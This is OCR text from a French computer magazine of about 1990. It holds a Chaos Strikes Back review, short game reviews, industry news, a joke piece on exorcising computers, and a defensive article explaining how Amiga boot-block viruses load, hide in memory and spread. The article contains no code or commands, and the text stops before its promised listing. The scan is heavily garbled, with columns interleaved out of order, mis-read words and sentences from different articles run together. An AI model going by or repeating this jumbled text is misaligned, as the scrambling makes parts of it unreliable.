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jamais joué à DM (à moins que vous 
n'ayez fini DM sans faire une seule 
sauvegarde, en jouant quarante trois 
heures et demi de suite...). Aux aven¬ 
turiers solitaires, il incombera donc de 
rassembler des champions en parcou¬ 
rant une salle aux miroirs semblable à 
celle de DM. Maintenant, à l'aide de la 
disquette "utilitaires” de Chaos, les 
artistes et les poètes pourront donner 
libre, cours à leur imagination pour 
changer la physionomie et le patrony¬ 
me de chacun de ses héros avant de les 
sauvegarder sur une nouvelle disquette 
vierge. L'équipe est enfin prête mais 
perd, avec cette opération, tous les 
objets acquis au cours de la précédente 
aventure. A noter qu'on peut très bien 


jouer à Chaos sans connaître DM. 
Simplement, ne soyez pas surpris que 
quatre braves vers géants se ment sur 
vous au début de l'aventure... 

Pourtant, le pire reste encore à venir, 
des trappes invisibles à retardement, 


Plébiscité lors du dernier salon de la Micro, nul ne pourra 
soutenir çue Dungeon Master n'esf pas le 
jeu par excellence. Chaos Strikes Back, 
mus ne vous apprenons rien, n'est 
autre que le second volet de cette sapa. 
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L a légende ressurgit enfin, après 
une attente de près de deux 
années! Ayant réussi dans le 
premier épisode à vaincre Lord 
Chaos, votre équipe va devoir affron¬ 
ter la fureur de ce dernier au travers 
d'un donjon préparé tout spécialement 
pour qu'aucun humain ou créature 
assimilée (orc, elfe ou rédacteur en 
chef) ne puisse en ressortir vivant. 
Comme si cela ne suffisait pas, le sor¬ 
cier a placé dans ce dédale de cavernes 
quatre morceaux de Coibum, un mine- 


altemative, utiliser la documentation 
en anglais!!! A noter que le distribu¬ 
teur français devrait, dans quelques 
temps, édita 1 une version cette fois-ci 
complètement traduite. 

Au pixel près 

Avant d'affronter votre destin, vous 
devrez dans un premia temps réunir 
une équipe de personnages. Deux cas 


En franglais dans le texte 

Mais laissons là un scénario qui n'a 
rien de fabuleux pour nous plonger 
dans l'aventure. Tout d'abord, nous 


tenons à mettre en garde les joueurs 
allergiques à la langue anglaise. En 
fait de notice en français (comme le 
stipule la jaquette) il s'agit tout juste 
d'une vulgaire photocopie mal organi¬ 
sée et qui n'aborde que de façon super¬ 
ficielle les éléments du jeu. Seule 


se présentent. Soit, ai aventuria avisé 
vous avez conservé votre disquette de 
sauvegarde de DM, soit, par manque 
de jugeote, cette dernière aura disparu 
de la circulation ou bien, cruiste ou 
béotien de naissance, vous n'avez 


d'autres donnant sur de nouvelles 
trappes (chute de deux niveaux), des 
passages secrets, des générateurs de 
monstres à foison, etc. Un seul vrai 
désagrément existe dans Chaos (les 
monstres baveux et autres viscosités ne 
sont pas vraiment des surprises, n'est-il 
pas...). Un petit bug survient régulière¬ 
ment, affichant deux jolies bombes sur 
l'écran or entreprenant la descente dans 
une trappe à l'aide d'une corde (à proxi¬ 
mité du lieu de résidence des "guerriers 
de la mort"). En revanche, vous serez 
heureux d'apprendre qu'en mode som¬ 
meil, les personnages récupèrent plus 
rapidement leurs forces. Bref, si la dif¬ 
ficulté de ce challenge semble trop pro¬ 
noncée dès les premiers instants de jeu, 
la subtilité des pièges, la présence de 
nouveaux monstres, un module d'aide 
présent sur la disquette "utilitaires" 
sans oublier tous les éléments qui firent 
le succès de DM font que Chaos 
Strikes Back devraient sans aucun 
doute combler vos désirs refoulés au 
cours d'une si longue attente. Les nuits 
blanches sont de retour!!! 

Christian Roux 
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LES JEUX 
DU MOIS 


A vant toute chose, 
saluons l'heureu¬ 
se- initiative de 
l'attaché de pres¬ 
se de Titus qui a 
décidé d'organiser la pre¬ 
mière coupe de France de 
football sur ordinateur (le 7 
mars 1990, Fnac Forum à 
Paris, pour tout détail sur 
les inscriptions, contacter 
Titus directement). Les 
match se dérouleront avec 
Kick Off, sublime jeu de 
foot, mais, fait à noter, Titus 
a tenu à associer le plus de 


gens possible à l'opération: 
Commodore, la Fnac, FR3, 
etc. Ecoutons Daniel 
Edhery, l'attaché de presse 
de Titus: « Nous avons 
voulu faire une opération 
intéressante pour le plus 
de monde possible. Nous 
continuerons d'œuvrer 
pour développer non seu¬ 
lement l'image de Titus 
chez les passionnés 
micro, mais aussi pour 
faire connaître les jeux 
micros en général du 
grand public». Avec des 


opérations de ce type, il 
semblerait qu'effective- 
ment, les choses pourraient 
enfin bouger un peu... 


jamais que, pour un très 
programmeur, il est pos¬ 
sible de faire un shoot'em 
up génial sur PC. Un must. 




On continue 
dans le bon 
goût et la qua¬ 
lité avec Xé¬ 
non 2 , des 
Bitmap Bro- 
ther. Là enco¬ 
re le jeu est 
très jouable 
sur un PC à 8 
MHz et les 
graphismes 
EGA sont du 
niveau de la 
version Ami- 
ga. Ce soft 
prouve à tout 


Great Courts est un excel¬ 
lent jeu de tennis créé par 
Ubi soft. Reportez-vous aux 
précédents articles concer¬ 
nant les versions ST et 
Amiga pour savoir tout le 
bien qu'on en pense. Seul 
défaut du PC, le côté sac¬ 
cadé de ranimation dans la 
configuration 8086 et EGA 
(style PC 1640 d'Amstrad). 
Mais avec un AT VGA, c'est 
sublime, on peut sans 
peine se prendre pour 
Yannick Noah en sortant 
des balles avec un réalis¬ 
me... 


Les stars 


Heureux possesseurs de 
PC, l'année commence très 
bien pour vous, tant la pro¬ 
duction sur votre machine 
favorie marie l'abondance 
avec la qualité. Soulignons 
par exemple la sortie de 
l'excellent Indianapolis 
500, simulateur de Fl com¬ 
plet et en 3D. L'ensemble 
est très rapide (même sur 
un PC bas de gamme) et 
réellement passionnant à 
jouer. Et de qui est cette 
superbe création? 
D'Electronic 
Arts, bien sûr. 

















s’étendra moins sur 
Arcade Hit, une compila¬ 
tion signée Loriciel regrou¬ 
pant le bon Skweek, l'hon¬ 
nête Bumpy et le mauvais 
Cobra. Ceci dit, pour le prix 
d'un jeu vous en aurez 
deux bons et une disquette 
vierge, alors... 



On continue dans le subli¬ 
me avec Populous, 
d'Electronic Arts, un jeu de 
stratégie révolutionnaire qui 
dépasse la trop terne pro¬ 
duction moyenne. Là, l'ordi¬ 
nateur est vraiment exploité 
et utile. Un très grand jeu, 
quasi obligatoire pour les 
esprits peu ou prou éclai¬ 
rés. Seul défaut de 
Populous,il est très dur de 
s'arrêter une fois que l'on a 


On conclut enfin avec 
Starfllght II, suite en pro¬ 
grès d'un jeu spatial relati¬ 
vement riche publié par 
Electronic Arts. Complexe 
et ardu, le jeu possède 
cependant un univers inté¬ 
ressant. A réserver aux 
anglophiles fanas de SF. 


Allons, mettons de côté le 
PC pour un moment, histoi¬ 
re de s'intéresser aux 
autres. On pourrait com¬ 
mencer par la sortie enfin 
effective de Hound of 
Shadow (toujours 
d'Electronic Arts) sur ST. 




avions déjà 
parlé, est un 
jeu de rôle- 
aventures 
avec de très 
beaux gra¬ 
phismes. 
Prévu égale¬ 
ment sur 
Amiga et 
PC. 


Quitte à par¬ 
ler des sor¬ 
ties effec¬ 
tives, autant 
annoncer 
celle, enfin 
réelle, 
d'Iron Lord 
sur Amiga et 
ST. La versio 
également arriver très vite. 
No comment si ce n'est 
qu ’lron Lord est un bon jeu, 
mais qu'il n'a rien de spé¬ 
cialement extraordinaire. 
On se demande bien pour¬ 
quoi on l'a attendu impa¬ 
tiemment si longtemps. 


Activision nous offre enfin 
Flghter Bomber sur ST, 
Amiga et PC: c'est magni¬ 
fique. La 3D est fabuleuse, 
peut-être même supérieure 
à celle de Falcon, et l'en¬ 
semble est beaucoup plus 
facilement jouable que la 
moyenne des simulateurs. 
Géant. 


Attention! Ne voyez pas 
dans ce 
précède 
preuve que le: 
jeux micros 
sont enfin 
devenus des 
chefs d'œuvre 
Non, il en exis¬ 
te toujours de 
mauvais. 

Tenez, au 
hasard. 

Fourmi Story 
de 16/32 est 
d'une tristesse 


seul élément qui puisse 
être sauvé du lot : graphis¬ 
me quelconque, lenteur 
sidérante, chargement très 
long, intérêt nul à part pour 
les très, très jeunes. 
Dommage. Notons cepen¬ 
dant que Nécron, deuxiè¬ 
me produit de 16/32, 
devrait être davantage 
digne d'éloges, avec sur¬ 
tout des graphismes de 
meilleure qualité. 
Souhaitons en tout cas une 
longue carrière à 16/32 
Editions..D'autant que les 
prochains jeux de 16/32 
Editions, déjà en cours 
d'élaboration, s'annoncent 
d'un niveau franchement 
supérieur. 












Du côté de Microïds, nous 
pouvons enfin vous annon¬ 
cer la sortie de la version 
finale ô'Eagle Rider sur ST. 
Cet extraordinaire jeu spa¬ 
tial vous a été présenté, en 
avance, dans le numéro 8 
de Micro-Mag. Par ailleurs, 
les versions CPC, Amiga et 
PC devraient sortir aux 
alentours de la mi-février. 
Guettez-les, ce serait dom¬ 
mage de passer à côté. 

Continuons dans la qualité 
avec Unreal sur Amiga. Le 
jeu n’est pas encore fini, 
mais les écrans sont d'une 
beauté à couper le souffle. 
Le jeu mélange 3D et 2D, 
cette dernière partie étant à 
la fois la plus belle mais la 
moins intéressante à jouer. 
Même si le jeu semble rela¬ 
tivement moyen, la splen¬ 
deur de ses graphismes en 
fait certainement l’un des 
deux ou trois plus beaux 
jeux jamais créé sur un 
micro. Espérons que la ver¬ 
sion ST sera du même 
niveau. 

Le dernier wargame 
d'Electronic Arts (décidé¬ 
ment très prolifique) est 
nettement plus bâclé au 
niveau graphique (PC uni¬ 
quement). Ceci étant, 
Panzer Battles satisfera 
les amateurs du genre et ils 
sont... légions. 

Enfin, il convient de saluer 
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ici la création d'un véritable 
chef-d'œuvre, j'ai nommé 
l'extraordinaire Block Out, 
un jeu créé par California 
Dreams et édité par nos 
amis allemands de 
Rainbow Arts. 

Ce logiciel possède qui 
plus est une histoire. 
Rappelez-vous donc de 
Tetris. En son temps, les 
média avaient beaucoup 
parlé de ce jeu génial soit- 
disant créé par un Russe 
en Turbo Pascal sur un PC. 
Simple ou coup de marke¬ 
ting ou histoire vraie, tou¬ 
jours est-il que Tetris fit un 
véritable triomphe dans 
tous les pays d'Europe. 
Tetris était, souvenez-vous, 
un jeu a priori tout simple : 
des formes géométriques à 
empiler de manière à for¬ 
mer des lignes, chaque 
ligne complète s'effaçant de 
l'écran. 

Block Out, c'est exacte¬ 
ment la même chose, mais 
en relief ! 


En reflief? En relief, oui 
Monsieur. Votre réceptacle 
comporte 5 carreaux de 
côtés, soit un total de 25 
blocs pour former non plus 
une ligne mais une dalle. 
Les blocs posés prennent 
une cou-i 
leur diffé¬ 
rente par 
niveau. 

Tout en 
bas, ils 
sont bleus 
foncés. Au 
dessus, ils 
sont verts, 
puis bleus 
pâles, etc. 

Vous êtes 
situé au 
dessus de 
l'amas. Un 
bloc appa¬ 
raît sous 
vos yeux, 
en 3D fil- 
de-fer : on 
peut donc 
voir sa 


forme exacte. Il descend 
progressivment vers le bas. 
Vous pouvez le déplacer en 
hauteur ou en largeur et, 
surtout, le faire tourner sur 
lui-même. Cette rotation 
peut se faire horizontale¬ 
ment ou verticalement. 
Vous pouvez donc changer 
la face qui va toucher en 
premier le sol. Au premier 
abord, cela semble complè¬ 
tement injouable. Au bout 
de quelques secondes, on 
prend très vite le coup et on 
se pique au jeu. Un quart 
plus tard, pas moyen de 
décoller du PC! Chaque 
dalle disparaît lorsqu'elle 
est remplie et les dalles 
supérieures descendent 
d'une ligne. Le jeu est pour 
le moment disponible sur 
PC (mode EGA superbe) et 
sur Amiga, mais une ver¬ 
sion ST est imminente. Les 
possesseurs de CPC ne 
peuvent que prier et espé¬ 
rer qu'ils bénéficient un jour 
de ce pur chef d'œuvre. Et 
après tout, pourquoi pas..? 
Dans le passé, les pro¬ 
grammeurs CPC ont sou¬ 
vent réussi à nous étonner, 
alors... 
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EN VLA DU PRO EN V'LA 


DU BOULOT! 


Aux U.S.A. IBM annonce la 
suppression de 10 000 emplois 
d'ici la fin de l'année 1990. 
Reste à savoir quelle inciden¬ 
ce.ceci aura sur le recrute¬ 
ment. IBM compte-elle pour¬ 
suivre davantage sa politique 
de partenariat ? 


ENFIN! 

Aux USA, SubLogic sort un 
nouveau logiciel: Air 
Transport Pilot (ATP), un 
simulateur de vol Boeing 
737, 747, 767 et Airbus 
A300! Là, il y un marché 
européen à prendre! 


La décennie 80 s'achève. Un bref regard en arrière, un constat 
rapide en somme... quelle puissance informatique mise à la dis¬ 
position de tous et chacun depuis dix ans! Mais nous avons 
trop regardé en arrière pour nos applications. Celles existantes 
imitent et améliorent les machines à écrire et les boîtes de 
fiches du XIXe siècle. Personne en l'an de grâce mil neuf cent 
quatre-vingt n'aurait pu prédire avec exactitude les avances 
technologiques à venir. Il en est de même à ce jour de tout pro¬ 
nostic sur l'informatique de l'an 2000. Nous nous sommes 
outillé de PC, et celui ou celle qui ne les manie pas bien risque 
de compromettre sérieusement ses chances, tout comme les 
illettrés du siècle dernier. Que dire des chances de son entoura¬ 
ge, son entreprise, son pays! 

A vous, les tisserands de rêves, les bâtisseurs du futur. A vous, 
les chasseurs de chimère et les songeurs du possible. A vous, 
pour que l'extraordinaire et l'impossible d'aujourd'hui devien¬ 
nent le quotidien de demain. C’est à vous de nous offrir davan¬ 
tage de possibilités et de pouvoirs pendant la décennie qui 
s’ouvre. Vivons notre futur ensemble. 


PERTES 


Commodore USA affiche des 
pertes de 6,5 millions de dol¬ 
lars pour des ventes de 165,3 
millions pendant le troisième 
trimestre de 1989. Comparé à 
l'année dernière, où il y avait 
un bénéfice de 9,6 millions sur 
des ventes de 200,2 millions. 
Remarquez que ce troisième 
trimestre 1989 est meilleur que 
le trimestre précédant, où les 
pertes s'élevaient à 16,7 mil¬ 
lions. Raisons invoquées? Le 
marché se rétrécit. Chute du 
dollar sur les marchés-interna¬ 
tionaux. 


GAINS 

Les études pleuvent: l'une d'entre elles à rete¬ 
nir sort de la faculté d'Optométrie de 
Universlty of California à Berkeley. Un gain de 
rapidité de 8% a été constaté parmi les utili¬ 
sateurs travaillant sur écran avec caractères 
noirs sur fond blanc par rapport à ceux tra¬ 
vaillant avec caractères blancs sur fond noir. 
Et une étude de productivité émanant de la 
firme prestigieuse de «Consulting» Arthur D. 
Little fait état que sur dix heures de travail 
productives sur PC, quatre heures de plus 
sont perdues dans des tâches non produc¬ 
tives liées à la technologie. 


Le système d'exploitation japo¬ 
nais Tron, avec l'appui de plus 
de cent trente entreprises japo¬ 
naises et étrangères, s'apprête à 


frapper un grand coup avec l'intro¬ 
duction de 2,2 millions de PC sous 
système Tron dans les écoles nip- 
pones sur trois ans. Et le NTT 
(Nippon Téléphoné et Telegraph 
Company) compte fermement utili¬ 
ser Tron comme standard sur ses 
réseaux numériques nationaux. 
Même IBM a déjà soumis une sta¬ 
tion de travail prototype au ministère 
de l'Education japonais. L'ouverture 
d'une première ville Tron est prévue 
dans la banlieue de Tokyo avant l'an 
2000. 


LES NOUVEAUX AMSTRAD 


On en sait enfin un peu plus sur les nouvelles machines qui 
devraient être commercialisées par Amstrad en septembre. Il 
s'agit, pour l'essentiel d'une refonte des CPC actuels, mais avec 
des co-processeurs graphiques et sonores de qualité. Un modèle 
devrait aussi être disponible sans clavier ni moniteur : une conso¬ 
le, tout simplement, du niveau des consoles 8 bits actuelles, avec 
un port cartouche. Attention toutefois, ces informations ne sont 
pas encore officielles et tout peut encore changer. 


MA POMME 

M. Paul Heckel, auteur de Zoomracks, base de 
données pour Atari ST et IBM PC, a intenté une 
action en justice contre Apple. Lancé en 1985, 
deux ans donc avant HyperCard, Zoomracks 
'est vu octroyer le brevet n°4.486.857, qui pro- 
tège le moyen d'afficher des données séparées 
en fichiers «, 
semblant 
HyperCard » en 
forme de fenêtres 
en rack. Ce pro¬ 
cès met un terme 
à deux années de 
négociations 
infructueuses. 


EPYX 


EPYX (Summer Games, 
California Games) recentre 
ses produits sur des car¬ 
touches destinées aux 
consoles vidéo. Ce recentra¬ 
ge s'accompagne d'une gran¬ 
de mise en chômage tech¬ 
nique fin septembre 1989. 


SUR LE FRONT 


Peine réellement prononcée pour piratage 
en Californie: un an de prison ferme, deux 
ans et demi de mise à l’épreuve, et six mois 
de séances de thérapeutique psychologique 
pour l'individu reconnu coupable d’avoir 
copié illicitement un programme DEC, 
pénétré le réseau informatique de 
l'University of Southern California, et pos¬ 
sédé Seize numéros de téléphone non-auto- 
risés.A noter que le département de com¬ 
merce aux U.S.A. a sorti sa «liste prioritai¬ 
re» de pays où le piratage sévit en dépit des 
conventions internationales: on y trouve le 
Brésil, l'Inde, le Mexique, la Chine, et la 
Thaïlande. 


C'EST TROP FACILE 

Un livre qui fait frémir: War 
Games par un certain T.B. 
Allen (ISBN 0-7493-0011-6) 
nous en apprend long sur les 
jeux de guerre informatisés 
pratiqués par le Pentagone 
aux USA. Selon l’auteur, la 
marine américaine a exigé 
que les programmes refusent 
à l'ennemi la possibilité de 
couler leurs porte-avions. Les 
jeux sur PC semblent plus 
réalistes...et sont certainement 
moins chers! 
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“LES VIR 

Les virus sont à la mode.. Pendant un temps, ils ont même 
fait la Une des médias, télés, radios, grands quotidiens 
nationaux, etc. Mais par-delà le ridicule occasionné par des 
pseudo-experts plus avides de sensationnel que d'informa¬ 
tions réelles, les virus n'en restent pas moins une menace de 
plus en plus dangereuse pour les utilisateurs d’ordinateurs. 
Aujourd'hui, même les systèmes familiaux sont atteints, à 
la notable exception de l’antique CPC d'Amstrad. 

Les possesseurs de PC connaissent le phénomène «virus» 
depuis maintenant plusieurs années et savent, à peu près, 
s'en prémunir. 

Sur ST et Amiga, la situation est en fait beaucoup plus 
anarchique. Il existe tant de virus différents que même les 
utilisateurs les plus avertis ont parfois du mal à s'y repé¬ 
rer. C'est pour cela que nous avons voulu vous aider en 
vous proposant une étude technique poussée du fonctionne¬ 
ment habituel d'un virus. Nous passerons également en 
revue les principales précautions à prendre, avant et après 
infestation. Enfin, nous vous présentons même un listing 
simulant le fonctionnement d’un virus sur ST ou Amiga. 

A manipuler avec précaution, évidemment... 
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ATT 
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LE RETOUR DE SATAN 

L'ordinateur est un être fragile 
qui expire souvent en même 
temps que sa garantie. De 
mauvais esprits prétendent que 
la qualité des composants est 
choisie en fonction de cette 
durée. Mais les raisons 
profondes sont bien plus 
sournoises et artificieuses. 

Une fois de plus, 
le Malin est à l'œuvre. 
Si l'irrémédiable ne s'est pas 
encore produit, des mesures 
simples et peu contraignantes 
sont souvent efficaces : 
- n'utilisez d'aucune façon le 
mot «lapin» près de l'ordina¬ 
teur - même éteint -. 
Préférez l'expression 
«le cousin du lièvre»; 
- idem pour le nombre de 
l'antechrist «666». L'exprimer 
en base 16, soit «29 A»; 
- à l'aide d'une pointe en 
argent, dessinez une croix 
romaine, une étoile de David 
ou une croix de Lorraine 
sur la carrosserie; 
Parfois hélas !, le Mal s'installe. 
Les données disparaissent, 
des caractères étranges appa¬ 
raissent, le haut-parleur et les 
floppies blasphèment, un lapin 
traverse l'écran de gauche à 
droite... etc. La bête immonde 
rôde et il faut l'expulser ! 

- Une hostie consacrée dans les 
boîtes de disquettes éloigne le 

démon Vairhol. 

- L'introduction dans la machi¬ 
ne d'ail ou de sel béni repousse 

le démon Plantahj. 
Mais ces deux diablotins ne 
sont souvent que des avatars 
du polymorphe et rampant 
Phokontakt qui demande un 
exorcisme énergique. Voici 
deux conjurations utilisées par 
les plus grands marabouts : 
- frapper le possédé avec le 
joug de bœuf castré à Noël, 

- clouer sur l'alimentation une 
chouette électrocutée à minuit. 

Bien sûr, des infestations plus 
graves exigent l'intervention de 
puissants sorciers. Seuls ces 
derniers peuvent invoquer les 
bons dieux majeurs que sont 
Meisonmeir, Ocilloo, 
Kontroleur et Koudepoh. 
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Dans la série 


«Les grandes catastrophes» 

LES VIRUS SUR AMIGA 


Certes d'actualité , Ze virus s'avère un 
phénomène particulièrement médiatique 
comme en témoignent les précédentes 
affaires (dont le virus de l'horloge sur 
PC, censé se déclencher un vendredi 13) 


A ujourd'hui, foin de la 
sempiternelle liste des 
virus existants sur 
chaque machine. Essayons 
plutôt de comprendre ce qui se 
passe à l'intérieur de la bête 
lorsqu'un virus s'y est intro¬ 
duit. Le meilleur moyen nous 
semble l'exégèse des princi¬ 
pales méthodes de bases utili¬ 
sées pour sa fabrication. 
Evidemment, réaliser un virus 
qui soit fonctionnel réclame 
une sacrée expérience. 
Néanmoins, ces quelques 
lignes devraient suffire à vous 
préserver de ce fléau. 

Innoculation 

Remarquable similitude ! Au 
sens médical du terme, un 
virus est une particule qui se 
reproduit et qui contamine 
tout ce qu'elle rencontre, cau¬ 
sant ainsi un dérèglement plus 
ou moins poussé du système 
qui l'héberge. En ce qui nous 
concerne, le virus est un pro¬ 
gramme exclusivement écrit 
en Assembleur, ce langage 
pouvant seul satisfaire au 
besoin de contrôler la machine 
d'une façon relativement poin¬ 
tue. Certains prétendent réali¬ 
ser des virus en Basic. Soyons 
sérieux! Les virus sont l'œuvre 
de personnes hautement com¬ 
pétentes et fort peu d'utilisa¬ 
teurs sont en mesure d'en 
concevoir. Heureusement! 
Puisque le virus est un pro¬ 
gramme, il faut qu'il soit lancé 
(exécuté par le 68000) à un 
moment ou à un autre lors du 
fonctionnement de la machine. 
Pour ce faire, il doit être impé¬ 
rativement installé, soit dans le 


boot-block d'une disquette, soit 
dans l'un des fichiers qui 
seront exécutés. 

Contagion 

La raison en est simple : 
lorsque vous allumez votre 
Amiga, une main apparaît à 
l'écran au bout de deux ou 
trois secondes, vous priant 
d'insérer une disquette (notez 
au passage la désagréable 
interruption produite toutes 
les trois secondes dans le but 
de savoir si une disquette est 
oui ou non insérée dans le 
disk-drive). Impatient de jouer, 
vous introduisez une disquette 
contenant le dernier presse- 
bouton démentiel. Sachez 
qu'avant de vous exciter sur le 
bâton, il a fallu que le système 
fasse un chargement de don¬ 
nées contenues sur la disquette 
vers la Ram de l'Amiga. Et, 
chose importante, l'Amiga-Dos 
a commencé par charger les 
données présentes dans le 
boot-block occupant les deux 
premiers secteurs de la dis¬ 
quette en question (secteurs 0 
et 1 de la piste 0 de la tête 0). 
Ledit boot-block contient tou¬ 
jours un programme «automa¬ 
tiquement» lancé dès qu'une 
disquette est insérée. Toute 
l’astuce est là! En général, le 
boot-block ne sert qu'à «vali¬ 


der» la disquette. Il suffit de le 
remplacer par un programme 
personnel (longueur inférieure 
à 1 ko) - un virus par exemple 
- et celui-ci sera exécuté sans 
que l'Amiga ne pipe mot. Le 
contenu du boot-block passe 
donc inaperçu et peut être 
modifié par très peu de 
manœuvres. Avant d’aller plus 
loin, passons en revue les dif¬ 
férents boot-blocks que l'on 
rencontre dans la nature. 

Les boot-blocks 

Tout d'abord, il y a ceux qui ne 
contiennent rien. Dans ce cas 
la disquette ne peut être boo- 
tée. Le boot-block sera en fait 
rempli avec le mot «Dos», ce 
qui ne correspond pas à un 
programme. L'Amiga fait donc 
réapparaître la main en atten¬ 
dant une autre disquette. 
D'autres disquettes hébergent 
un boot-block classique per¬ 
mettant le «boot» de la dis¬ 
quette, c'est-à-dire, dans le cas 
d'une disquette normale, le 
chargement de fichiers princi¬ 
paux tels que le «system- 
configuration» ou encore la 
célèbre «startup-sequence». 
Un tel boot-block est facile à 
reconnaître car constitué d’en¬ 
viron 20 octets formant un 
programme (initialisation de la 
librairie Dos), suivis du nom 


«dos.library», le reste conte¬ 
nant des 0. Vous trouverez par 
exemple ce type de boot-block 
sur votre disquette YJorVbench, 
à moins bien évidemment que 
celle-ci soit déjà infectée ! 

Dans le cas d'une disquette 
spéciale, jeu ou démo, il y a 
presque toujours un charge¬ 
ment des programmes par 
pistes (pas de fichiers à pro¬ 
prement parler). Auquel cas, le 
boot block contient un «char¬ 
geur» conçu pour ce travail, 
puisque l'Amiga-Dos ne va 
chercher que les fichiers. Un 
chargeur est généralement 
constitué d'un certain nombre 
d'appels à une partie de la 
Rom de l'Amiga (KickStart) et 
notamment au Trackdisk.devi- 
ce. Celui-ci est un paquet de 
programmes (sorte de librai¬ 
rie) contenant tout ce qui est 
nécessaire au chargement des 
pistes, au positionnement des 
têtes de lecture, à la gestion du 
moteur, etc. 

Et il y a le reste : les disquettes 
classiques contenant un petit 
utilitaire dans leur boot-block 
qui sert à connecter/déconnec¬ 
ter le filtre audio, etc. Et... 
celles qui contiennent les virus. 
C'est justement ici que d'au¬ 
cuns font une grave erreur en 
s'imaginant qu'une disquette 
est infectée dès lors que le 
boot-block diffère d'un boot- 
block classique. Faux et archi- 
faux! Il peut très bien s'agir 
d'un chargeur. L'utilisateur 
craintif, utilisant son Virus 
Killer favori, va vider le boot- 
block.Dans le cas d'un char¬ 
geur, cela équivaut à la des¬ 
truction de la disquette, car 
disparaît ainsi le seul moyen 





d'en charger le contenu. D faut 
donc, à moins d'être un expert, 
éviter tout geste semblable; 
rien au premier abord ne diffé¬ 
rencie un chargeur d'un virus. 
Pour résoudre en partie le pro¬ 
blème, il faut savoir que les 
virus de la première généra¬ 
tion (ceux qui se logent dans 
les boot-blocks) ont, dans la 
majorité des cas, leur nom 
d'inscrit à un endroit du boot- 
block. Dès lors, moyennant un 
outil idoine, il est aisé d'identi¬ 
fier un Byte-Bandit, un SCA, 
un North-Star, etc. On utilise 
alors, soit un Virus- Killer, à 
manier toutefois avec précau¬ 
tion, soit un éditeur de sec¬ 
teurs (réclamant encore plus 
de précautions). Ces pro¬ 
grammes se trouvent facile¬ 
ment dans le domaine public, 
consultez à ce propos les pubs 
et articles de journaux spécia¬ 
lisés. Ceci étant, nous donne¬ 
rons à la fin de cet article 
l'équivalent d'un Virus-Killer, 
mais... continuons nos 
recherches. 

Vous avez compris qu'il est 
très simple de prendre en 
main le contrôle du système 
dès l'insertion d'une disquette, 
car un virus peut ensuite tout 
faire. Pour vous donner 
quelques frayeurs, sachez qu'il 
est possible de faire sauter le 
moniteur A1084S par softwa¬ 
re... Vous avez bien compris : 
un programme pourrait s'atta¬ 
quer au matériel ! 

Reproduction 

Que fait le virus situé dans le 
boot-block de la disquette que 
vous venez d'insérer? Il va 
d'abord se loger dans la 
mémoire d'une manière sûre 
et efficace, par un procédé ren¬ 
dant impossible son efface¬ 
ment (sauf coupure de cou¬ 
rant). Pour ce faire, ces ver¬ 
mines affectionnent la partie 
haute de la chip-Ram, entre les 
adresses $78000 et $7FFFF. 
Pourquoi? Parce que cette 
.zone n'est, pour ainsi dire, 
jamais initialisée. Le reste de 
la mémoire est, en revanche en 
perpétuel mouvement. Le 


virus profite de cette particu¬ 
larité a priori surprenante: 
quand vous faites un RESET 
manuel (CTRL-AMIGA- 
AMIGA), sachez que très peu 
de données sont effacées de la 
Ram. 

L'ordinateur ne vide que des 
zones bien définies, lesquelles 
ne sont évidemment pas 
squattées par les virus. En fait, 
l'Amiga a en mémoire la liste 
des zones modifiées depuis 
l'allumage de la machine (par 
le chargement d'un fichier, 
etc). Ce sont justement celles- 
ci qui sont remises à zéro. Le 
virus occupant «discrètement» 
une zone sans que le système 
en soit prévenu, il reste lové 
dans la plus totale discrétion, 
bien au chaud, prêt à l'action, 
tel l'hydre tentaculaire fausse¬ 
ment endormie. Mais la bête 
immonde ne sommeille pas 
vraiment et guette la venue 
d'une proie innocente : la dis¬ 
quette. Ce peut être le RESET, 
mais aussi l'instant où vous 
insérez une disquette dans le 
lecteur. Où le monstre va-t-il 
ensemencer? Les virus de la 
première génération tentent 
de se multiplier sur le boot- 
block de la disquette «en 
cours». Cela signifie que le 
virus contient une routine qui 
le duplique sur toute disquet¬ 
te. Si cette dernière contient 
un boot-block classique, elle 
ne sera pas détruite, si en 
revanche elle dispose d'un 
chargeur de pistes... autant la 
formater et la réutiliser pour 
autre chose. C'est ainsi 
qu'énormément d'utilisateurs 
se font piéger. Fort heureuse¬ 
ment, il existe un rempart 
inviolable sur lequel s'écrase¬ 
ront «tous» les virus : le taquet 
de protection. En d'autres 
termes, une butée mécanique 
qui indique au contrôleur si 
l'écriture est autorisée ou non. 
Impossible de passer outre ce 
procédé hardware interdisant 
toute reproduction (bien que 
le virus soit toujours en 
mémoire). 

Mais que faire avec les dis¬ 
quettes dites de travail, ne 
pouvant par définition être 


constamment protégées en 
écriture? Une disquette de tra¬ 
vail (pour ceux qui en ont) 
n'est jamais une disquette boo- 
table. Par conséquent, le boot- 
block, quel qu'il soit, n'est pas 
utilisé. Le problème est plus 
gênant avec les virus de la 
seconde génération qui se 
logent dans les fichiers de la 
disquette présente dans le lec¬ 
teur. Là aussi, il suffit de pro¬ 
téger ses disquettes. Mais ima¬ 
ginez un disque dur bourré de 
fichiers sans système de pro¬ 
tection. Le virus va proliférer 
détruisant tout sur son passa¬ 
ge. L'horreur! Pour les «heu¬ 
reux» possesseurs de ce sup¬ 
port, signalons qu'il n'existe 
pas de parade absolue. 
Toutefois, mettons les choses 
au point : un virus est l'œuvre 
d'un programmeur apparte¬ 
nant la plupart du temps à un 
groupe. La propagation du 
mal se fait alors par le biais de 
copies. Par conséquent, si 
vous avez déjà été victime 
d'un virus, c'est parce que 
vous possédiez des copies 
frauduleuses (on ne trouve 
théoriquement «jamais» de 
virus sur des originaux). Vous 
objecterez alors que les démos, 
bien qu'étant des logiciels du 
domaine public, contiennent 
parfois des virus installés 
presque toujours volontaire¬ 
ment. C'est vrai. Seulement, 
les détenteurs d'un disque dur 
utilisent en principe leur 
Amiga professionnellement et 
se contrefichent des démos ou 
autres D.P. 

Ne restent donc que les pos¬ 
sesseurs de drives et la pré¬ 
vention indiquée plus haut 
suffit amplement. Sinon, il 
existe une manœuvre fasti¬ 
dieuse mais garantissant la 
survie du disque dur : décon¬ 
necter physiquement de la 
machine avant l'introduction 
d'une disquette douteuse. Si 
votre disque dur n'est pas en 
autoboot, le boot sur une dis¬ 
quette douteuse lors de l'allu¬ 
mage du micro vous garantit 
également l'innocuité: le virus 
ne trouvera pas le périphé¬ 
rique. 


Premiers soins 

Au passage, un petit truc : si 
vous possédez une disquette à 
boot-block classique se révé¬ 
lant vérolé après examen, il 
existe un moyen très simple 
de le désinfecter. Pour ce faire, 
éteignez d'abord votre micro, 
puis rallumez-le. Chargez le 
Workbench, puis le CLI. 
Ensuite, tapez 

